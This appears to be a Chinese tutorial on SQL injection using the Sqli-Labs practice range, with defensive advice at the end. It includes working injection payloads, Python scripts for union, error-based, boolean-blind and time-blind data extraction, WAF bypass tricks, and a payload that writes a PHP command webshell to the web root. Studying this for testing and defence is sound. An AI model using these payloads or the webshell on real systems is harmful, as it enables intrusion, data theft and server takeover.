从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)
从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)
在网络安全领域,SQL注入始终是最具破坏力的攻击手段之一。Sqli-Labs靶场作为经典的SQL注入练习平台,通过22个精心设计的关卡,系统化地展现了不同类型注入点的攻击手法。本文将突破传统按关卡罗列的教学模式,从技术演进视角出发,按照注入点类型和攻击技术两个维度进行深度分类,并配合可复用的Python脚本,帮助读者建立结构化的攻防思维框架。
1. 注入点类型的技术特征与实战要点
1.1 GET参数注入:传统但高效的攻击入口
GET型注入主要出现在URL参数直接拼接SQL查询的场景。以Less-1到Less-4为例,虽然闭合方式不同(单引号、双引号、括号等),但核心攻击模式一致:
# GET型注入自动化探测脚本示例 import requests def detect_injection(url): test_cases = ["'", "\"", "')", "\")"] # 常见闭合方式 for case in test_cases: r = requests.get(f"{url}{case}") if "error" in r.text.lower(): return f"可注入,闭合方式:{case}" return "未检测到明显注入点"关键判断逻辑:
- 通过报错信息识别闭合方式
- 使用
order by确定字段数 - 联合查询时需构造负值使前段查询失效
注意:现代WAF通常会过滤常见关键词如union、select,此时可采用分段编码或注释符绕过,如
uni%6fn代替union。
1.2 POST表单注入:隐蔽的数据通道
从Less-11开始,攻击面转向表单提交数据。与GET型不同,POST注入需要处理:
- 请求体构造:
# POST注入脚本示例 data = { 'username': 'admin\' AND 1=1 -- ', 'password': '任意值' } r = requests.post(url, data=data)- 盲注特征判断矩阵:
| 响应特征 | 注入类型 | 判断依据 |
|---|---|---|
| 显错信息 | 报错注入 | 数据库错误直接回显 |
| 布尔状态差异 | 布尔盲注 | 登录成功/失败页面差异 |
| 响应时间延迟 | 时间盲注 | sleep()函数触发延迟 |
1.3 HTTP头部注入:高阶渗透路径
Less-18到Less-22展示了头部注入的三种典型场景:
- User-Agent注入:
GET /less-18 HTTP/1.1 User-Agent: ' AND (SELECT COUNT(*) FROM information_schema.tables) > 0 --- Cookie注入自动化脚本:
cookies = {'uname': base64.b64encode("admin' AND 1=1 -- ".encode()).decode()} r = requests.get(url, cookies=cookies)技术演进趋势:
- 早期注入多集中在GET/POST参数
- 现代应用转向头部字段注入等隐蔽路径
- Base64编码等变形手段增加检测难度
2. 五大注入技术的原理与自动化实现
2.1 联合查询注入:信息检索的标准解法
联合注入的核心在于构造合法的UNION查询。以Less-1为例的自动化流程:
- 字段数探测:
for i in range(1,10): payload = f"1' ORDER BY {i} -- " if "Unknown column" in requests.get(url+payload).text: column_count = i-1 break- 数据提取模板:
-1' UNION SELECT NULL,CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database() --2.2 报错注入:非常规信息泄露通道
当页面不显示查询结果但返回错误信息时,可利用数据库报错机制:
# 报错注入payload生成函数 def error_based_payload(query): return f"1' AND updatexml(1,concat(0x7e,({query}),0x7e),1) -- "常见报错函数对比:
| 函数 | 适用数据库 | 触发条件 |
|---|---|---|
| updatexml() | MySQL | XPATH语法错误 |
| extractvalue | MySQL | XPATH语法错误 |
| cast() | SQL Server | 类型转换错误 |
2.3 布尔盲注:比特级的条件判断
当页面只有状态变化而无具体信息时,需要逐字符判断:
# 布尔盲注自动化脚本 def bool_blind(url, query): result = "" for i in range(1,50): for c in range(32,127): payload = f"1' AND ASCII(SUBSTR(({query}),{i},1))={c} -- " if "Welcome" in requests.get(url+payload).text: result += chr(c) break return result优化技巧:
- 使用二分查找提升效率
- 对常见单词建立字典加速猜测
- 结合正则表达式减少请求次数
2.4 时间盲注:无回显场景的最后手段
当页面完全无差异时,通过延时判断条件真假:
# 时间盲注检测函数 def time_based(query): start = time.time() requests.get(url + f"1' AND IF(({query}),SLEEP(5),0) -- ") return time.time() - start > 4关键问题:
- 网络延迟可能导致误判
- 需要设置合理的超时阈值
- 自动化脚本需加入重试机制
2.5 文件导出:获取系统权限的跳板
Less-7演示了通过注入写入Webshell的技术:
1')) UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE '/var/www/html/shell.php' --防御对策:
- 禁用
secure_file_priv写入权限 - 对数据库账户严格限制文件操作权限
- 监控Web目录异常文件创建
3. 防御体系构建与自动化检测
3.1 参数化查询的工程实现
以Python为例的安全编码示范:
# 安全查询方式 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))常见错误模式:
- 字符串拼接:
f"SELECT * FROM users WHERE id = {user_id}" - 不完整过滤:仅转义单引号忽略其他特殊字符
3.2 WAF绕过技术矩阵
| 绕过技术 | 示例 | 防御措施 |
|---|---|---|
| 大小写变异 | SeLeCt | 正则表达式标准化 |
| 注释符分割 | SEL/xxx/ECT | 语法树分析 |
| 十六进制编码 | 0x73656C656374 | 输入规范化 |
| 空白符替代 | S%E%L%E%C%T | URL解码后检测 |
3.3 自动化漏洞检测框架设计
基于Python的检测框架核心组件:
class SQLiScanner: def __init__(self, target): self.target = target self.techniques = [ BooleanBasedScan(), TimeBasedScan(), ErrorBasedScan() ] def run(self): for tech in self.techniques: if tech.detect(self.target): return tech.report() return "未发现注入漏洞"4. 从靶场到实战:企业级应用防护方案
4.1 SDLC各阶段防护措施
开发阶段:
- 使用ORM框架替代原生SQL
- 代码审计集成IDE插件
测试阶段:
- DAST自动化扫描
- 模糊测试覆盖边界案例
运行阶段:
- RASP实时防护
- SQL防火墙规则更新
4.2 监控与响应体系
典型攻击特征:
- 高频出现的数据库关键字
- 异常长的请求参数
- 非常规的HTTP头部内容
响应流程:
- 请求拦截与日志记录
- 会话终止与IP封禁
- 漏洞分析与补丁部署
在真实渗透测试项目中,曾遇到过一个使用Base64编码Cookie的金融系统,其注入点检测需要特别处理编码逻辑。通过改造标准检测脚本,最终发现存在时间盲注漏洞。这个案例说明,现代Web应用的防御措施正在迫使攻击技术持续进化。
